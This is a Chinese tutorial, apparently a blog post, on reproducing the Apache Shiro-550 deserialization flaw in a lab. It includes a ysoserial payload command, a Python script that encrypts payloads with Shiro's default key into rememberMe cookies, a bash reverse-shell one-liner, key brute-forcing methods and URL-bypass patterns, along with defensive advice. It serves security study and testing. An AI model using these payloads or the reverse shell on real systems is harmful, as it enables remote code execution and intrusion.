Shiro反序列化漏洞手工复现:从原理到实战的完整指南
2026/6/25 20:50:08 网站建设 项目流程

1. 项目概述:为什么我们要亲手复现Shiro漏洞?

在安全研究领域,Shiro(Apache Shiro)是一个绕不开的名字。作为一个强大且易用的Java安全框架,它被广泛应用于Web应用的身份认证、授权、加密和会话管理。然而,正是由于其广泛的应用,一旦出现安全漏洞,影响范围将极其巨大。作为一名渗透测试工程师或安全研究员,仅仅知道“Shiro有反序列化漏洞”是远远不够的。亲手搭建环境、触发漏洞、分析流量、理解原理,这个过程的价值远超阅读一份现成的漏洞报告。

复现Shiro漏洞,尤其是其经典的反序列化漏洞(如CVE-2016-4437,俗称Shiro-550),绝不是一个简单的“按步骤操作”。它是一次完整的实战演练,涉及Java Web基础、加密算法、HTTP协议、序列化与反序列化机制,以及漏洞利用链的构造。通过这次复现,你不仅能掌握一个高危漏洞的利用方法,更能深入理解Java安全机制的薄弱环节,为后续的代码审计和漏洞挖掘打下坚实基础。无论你是刚入门的安全爱好者,还是希望巩固实战经验的安全从业者,这都是一次不可多得的深度学习机会。

2. 环境搭建与靶场部署

漏洞复现的第一步是准备一个“战场”。一个稳定、可控且与真实环境高度相似的实验环境是成功的关键。我们不建议直接在公网或公司内网对未知系统进行测试,搭建本地靶场是最安全、最合规的选择。

2.1 核心组件选型与准备

一个标准的Shiro漏洞复现环境通常包含以下几个部分:

  1. 靶场应用:一个存在漏洞的Shiro应用。我们可以选择使用网络上公开的漏洞靶场,例如使用vulhubvulfocus这类集成化漏洞环境。这里,我们以手动部署一个简单的、集成Shiro 1.2.4的Web应用为例。这个版本包含了经典的RememberMe反序列化漏洞。
  2. Java运行环境:Shiro是Java框架,因此需要JDK。建议使用JDK 8,因为大多数历史漏洞靶场基于此版本构建,兼容性最好。
  3. Web服务器:我们使用轻量级的Tomcat 8.x作为Servlet容器来部署我们的靶场应用。
  4. 漏洞利用工具:用于生成恶意序列化载荷(Payload)并发送HTTP请求的工具。我们将使用Python编写脚本,并依赖ysoserial这个强大的Java反序列化利用工具链来生成Payload。

注意:所有组件务必在隔离的虚拟机或专用实验机中安装。切勿在生产环境或连接重要网络的设备上进行漏洞复现操作。

2.2 靶场应用部署实操

假设我们已经准备好了一个名为shiro_demo.war的漏洞Web应用包(可以通过编译一个简单的、使用了漏洞版本Shiro的Spring Boot或传统JSP应用获得,网上也有许多现成的靶场源码)。

步骤一:安装JDK与Tomcat

# 在Ubuntu/Debian系统下安装OpenJDK 8和Tomcat 8 sudo apt update sudo apt install openjdk-8-jdk -y wget https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.xx/bin/apache-tomcat-8.5.xx.tar.gz tar -xzf apache-tomcat-8.5.xx.tar.gz sudo mv apache-tomcat-8.5.xx /opt/tomcat8

步骤二:部署应用shiro_demo.war文件复制到Tomcat的webapps目录下。

cp shiro_demo.war /opt/tomcat8/webapps/

启动Tomcat服务器:

cd /opt/tomcat8/bin ./startup.sh

访问http://your_vm_ip:8080/shiro_demo,如果能看到登录页面,说明靶场部署成功。

步骤三:验证Shiro特征Shiro框架有一个明显的特征:在返回的HTTP响应头中会包含rememberMe=deleteMe字段。我们可以使用浏览器开发者工具(F12)的“网络(Network)”选项卡查看,或者使用curl命令:

curl -I http://your_vm_ip:8080/shiro_demo/login

在返回的Set-Cookie头中,你很可能会看到rememberMe=deleteMe。这是Shiro在用户登出时设置的Cookie,也是我们漏洞利用的关键入口点。

2.3 工具链准备:ysoserial与Python脚本

ysoserial是一个集合了各种Java反序列化利用链(Gadget Chains)的工具。我们需要用它来生成我们的恶意Payload。

  1. 下载并编译ysoserial

    git clone https://github.com/frohoff/ysoserial.git cd ysoserial mvn clean package -DskipTests

    编译成功后,在target目录下会生成ysoserial-0.0.6-SNAPSHOT-all.jar文件。

  2. 准备Python利用脚本: 我们需要一个脚本来自动化完成Payload生成、AES加密、Base64编码和HTTP请求发送的过程。核心是利用Shiro用于加密RememberMeCookie的默认密钥kPH+bIxk5D2deZiIxcaaaA==。这个密钥是硬编码在Shiro框架源码中的,正是这个“默认密钥”导致了大量漏洞的产生。 脚本的核心逻辑是:

    • 使用ysoserial生成指定利用链(如CommonsCollections2)的序列化对象。
    • 使用AES-CBC模式、PKCS5Padding填充方式,用默认密钥加密这个序列化数据。
    • 将加密后的字节进行Base64编码。
    • 构造HTTP请求,将编码后的字符串作为rememberMeCookie的值发送给目标。

3. 漏洞原理深度剖析:Shiro RememberMe的反序列化之路

要利用漏洞,必须先理解漏洞。Shiro的RememberMe功能本意是为用户提供“记住我”的便捷登录体验。其工作流程大致如下:

  1. 用户成功登录并勾选“记住我”。
  2. 服务端将用户的身份信息(Principal)序列化成字节流。
  3. 使用AES密钥(默认或自定义)加密该字节流。
  4. 将加密后的数据做Base64编码,放入rememberMeCookie,返回给浏览器。
  5. 用户下次访问时,浏览器自动带上这个Cookie。
  6. 服务端收到Cookie后,进行Base64解码、AES解密,最后将字节流反序列化成对象,恢复用户身份。

漏洞产生的根本原因在于两个致命环节的叠加

环节一:不安全的默认密钥。Shiro 1.2.4及之前版本,用于加密的AES密钥是硬编码在源码中的。攻击者如果知道这个密钥,就能伪造或解密Cookie数据。虽然官方后来建议开发者修改密钥,但大量历史应用和意识薄弱的开发者并未更改,导致漏洞广泛存在。

环节二:危险的反序列化操作。Shiro在解密Cookie数据后,会直接对其执行ObjectInputStream.readObject()进行反序列化。这是一个极其危险的操作,因为它会根据字节流中的内容,自动调用相关对象的readObject方法。如果攻击者能够控制反序列化的数据流,并精心构造一个恶意的序列化对象(利用链),就可以在目标服务器上执行任意代码。

利用链(Gadget Chain)是什么?你可以把它想象成一套“多米诺骨牌”或者一个“Rube Goldberg机械”。它由Java标准库或第三方库(如Apache Commons Collections)中的一系列类组成。这些类的某些方法在被调用时,会产生“副作用”,比如执行命令、写入文件。通过精心安排这些类的序列化数据,当它们被反序列化时,就会按照攻击者设计的顺序依次触发这些“副作用”,最终达到执行系统命令的目的。ysoserial工具就是预先组装好了很多套这样的“骨牌”。

4. 手工复现漏洞全流程实录

理解了原理,我们开始动手。手工复现能让你对每一个环节都有清晰的感知。

4.1 探测与指纹识别

首先确认目标存在Shiro框架且可能未更改默认密钥。

# 使用curl探测响应头 curl -I http://192.168.1.100:8080/shiro_demo/login # 关注 Set-Cookie 头中是否有 rememberMe=deleteMe # 也可以尝试发送一个包含错误rememberMe Cookie的请求,观察响应 curl -v http://192.168.1.100:8080/shiro_demo/login -H "Cookie: rememberMe=123" # 如果返回的Cookie中依然被设置为deleteMe,说明Shiro处理了这个Cookie,进一步确认。

4.2 生成恶意Payload

我们选择CommonsCollections2利用链,它依赖commons-collections4库,在旧版Java应用中非常常见。假设我们要执行命令touch /tmp/success来在目标服务器上创建一个文件作为攻击成功的标志。

# 使用ysoserial生成Payload java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "touch /tmp/success" > payload.bin

这行命令会生成一个包含恶意序列化对象的二进制文件payload.bin

4.3 加密与编码

接下来,我们需要用Shiro的默认AES密钥加密这个文件,并进行Base64编码。这里我们使用一个Python脚本shiro_exploit.py来完成核心步骤:

import sys import base64 import uuid from Crypto.Cipher import AES from Crypto.Util.Padding import pad def encrypt(key, payload): # Shiro使用的AES模式:CBC,填充:PKCS5 iv = uuid.uuid4().bytes # 随机生成16字节IV cipher = AES.new(base64.b64decode(key), AES.MODE_CBC, iv) # 对payload进行PKCS5填充 padded_payload = pad(payload, AES.block_size, style='pkcs5') encrypted = cipher.encrypt(padded_payload) # 最终数据格式:IV + 加密数据 final_payload = iv + encrypted return base64.b64encode(final_payload) if __name__ == '__main__': default_key = 'kPH+bIxk5D2deZiIxcaaaA==' # Shiro 1.2.4默认密钥 with open('payload.bin', 'rb') as f: payload = f.read() rememberme_cookie = encrypt(default_key, payload) print(rememberme_cookie.decode())

运行脚本,得到加密编码后的Cookie值:

python3 shiro_exploit.py

4.4 发送攻击请求

将上一步输出的字符串作为rememberMeCookie的值,发送给目标登录接口(或其他任何Shiro拦截的接口)。

curl http://192.168.1.100:8080/shiro_demo/login -H "Cookie: rememberMe=这里替换成生成的Base64字符串"

发送请求后,表面上看可能只是一个普通的404或登录页面,但攻击已经在后台执行。

4.5 验证攻击结果

登录到靶场服务器,检查命令是否执行成功:

ls -la /tmp/success

如果文件/tmp/success被成功创建,则证明反序列化漏洞利用成功,我们在目标服务器上实现了任意命令执行。

实操心得:在实际渗透测试中,命令执行成功后,我们通常会尝试反弹一个Shell(Reverse Shell)以获得一个交互式命令行。例如,使用bash -i >& /dev/tcp/攻击机IP/端口 0>&1这样的命令。但前提是目标服务器需要安装有bash且出网不受限制。在复现环境中,创建文件是一个更简单直观的验证方式。

5. 密钥爆破与更高版本漏洞延伸

5.1 当默认密钥被修改后:密钥爆破

安全意识较强的开发者会修改Shiro的默认加密密钥。此时,直接使用默认密钥的攻击会失败。但我们依然有机会,因为密钥通常被设置在配置文件中,强度可能不足。我们可以进行密钥爆破(爆破)。

思路是:准备一个已知结果的Payload(例如执行whoamiecho test),然后用一个密钥字典(包含常见弱密钥、基于网站特征的密钥等)去尝试加密这个Payload,并发送请求。通过观察服务器响应(如响应时间差异、错误信息、或一个特殊的测试命令回显)来判断当前使用的密钥是否正确。

有现成的工具如shiro_attack可以自动化这个过程。其核心逻辑就是遍历密钥字典,构造测试Payload,发送请求并判断。密钥字典的质量决定了爆破的成功率。

5.2 更高版本的Shiro漏洞:CVE-2020-1957等

Shiro在修复了默认密钥问题后,又陆续爆出其他漏洞,例如:

  • CVE-2020-1957:这是一个权限绕过漏洞,与反序列化无关。攻击者通过构造特殊的URL,利用Shiro和Spring框架在路径处理上的差异,可以绕过Shiro的权限校验,直接访问需要认证的接口。复现此漏洞需要分析Shiro的PathMatchingFilter匹配逻辑和Spring的AntPathMatcher的差异。
  • CVE-2020-11989:另一个权限绕过漏洞,涉及Shiro在处理URL时对分号;的解析问题。
  • CVE-2020-13933:与CVE-2020-11989类似,是另一个URL解析绕过。

复现这些漏洞,需要搭建对应版本的Shiro(如1.5.2)与Spring Boot集成环境,并构造诸如/admin/..;/manage/admin/%3b之类的畸形URL进行测试。这要求研究者对HTTP协议、Servlet路径解析有更深的理解。

6. 常见问题排查与防御建议

6.1 复现过程中可能遇到的坑

  1. Payload执行成功但无回显:这是最常见的情况。你执行了touch /tmp/test,但在服务器上看不到文件。可能原因:

    • 当前用户权限不足:Web应用(如Tomcat)通常以非root用户(如tomcat)运行,可能对/tmp目录有写权限,但对其他目录没有。始终使用绝对路径,并优先尝试Web目录(如/var/lib/tomcat8/webapps/ROOT/test.jsp)或临时目录。
    • 命令语法问题:Linux和Windows命令不同。确保你的命令与目标系统兼容。使用which touchwhere touch来检查命令是否存在。
    • 利用链不兼容:目标环境可能缺少ysoserial利用链所依赖的库(如commons-collections的特定版本)。需要换用其他利用链尝试,如CommonsBeanutils1
  2. 收到“无效的RememberMe令牌”响应:这通常意味着AES解密失败,即密钥不对。如果你确信是默认密钥环境,请检查:

    • 加密模式与填充:确认脚本中的AES模式是否为CBC,填充是否为PKCS5(或PKCS7,两者在AES中等价)。
    • IV处理:Shiro的加密数据是IV+密文,IV是随机的16字节。你的加密函数必须预先生成一个随机IV,并将其拼在密文前一起做Base64编码。
    • Base64编码:确保使用的是标准Base64,注意URL安全Base64可能不适用。
  3. 工具ysoserial报错:可能是Java版本不兼容。ysoserial的某些利用链对JDK版本有要求。尝试在JDK 8环境下运行。同时,确保编译ysoserial时使用的依赖版本与目标环境大致匹配。

6.2 作为开发者,如何防御Shiro反序列化漏洞?

如果你是一名开发者,正在使用或计划使用Shiro,请务必遵循以下安全实践:

  1. 立即升级:将Apache Shiro升级到最新稳定版本。新版本不仅修复了已知漏洞,还引入了更安全的设计。
  2. 强制修改密钥:绝对不要使用默认的rememberMe加密密钥。在Shiro配置中,使用强随机生成的密钥。例如,可以使用如下命令生成一个:
    openssl rand -base64 32
    然后将生成的密钥配置到shiro.ini或Spring Boot的application.properties中。
  3. 禁用RememberMe:如果应用不需要“记住我”功能,最彻底的方式是直接禁用它。
  4. 安全反序列化:考虑使用白名单机制来限制反序列化时可接受的类。虽然Shiro本身未直接提供,但可以通过自定义RememberMeManager,在反序列化前对类名进行校验。更通用的方案是使用更安全的反序列化工具,如JacksonObjectMapper(但需正确配置)。
  5. 最小化依赖:定期清理项目依赖,移除不必要的库(如老旧的commons-collections),减少可利用的“攻击面”。
  6. 网络防护:在WAF(Web应用防火墙)或网关层面,可以设置规则拦截包含异常长或特殊字符的rememberMeCookie的请求。

手工复现一个像Shiro反序列化这样的经典漏洞,就像完成一次精密的外科手术。每一个步骤——从环境准备、原理理解、到Payload构造和问题排查——都加深了你对应用安全、协议交互和系统底层的认知。这种经验是阅读多少理论文章都无法替代的。我个人的体会是,每次复现后,再看Shiro的配置代码或相关的漏洞预警,都会有豁然开朗的感觉,能一眼看出问题的关键所在。安全之路,始于足下,更始于这一次次亲手搭建又亲手攻破的靶场之中。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询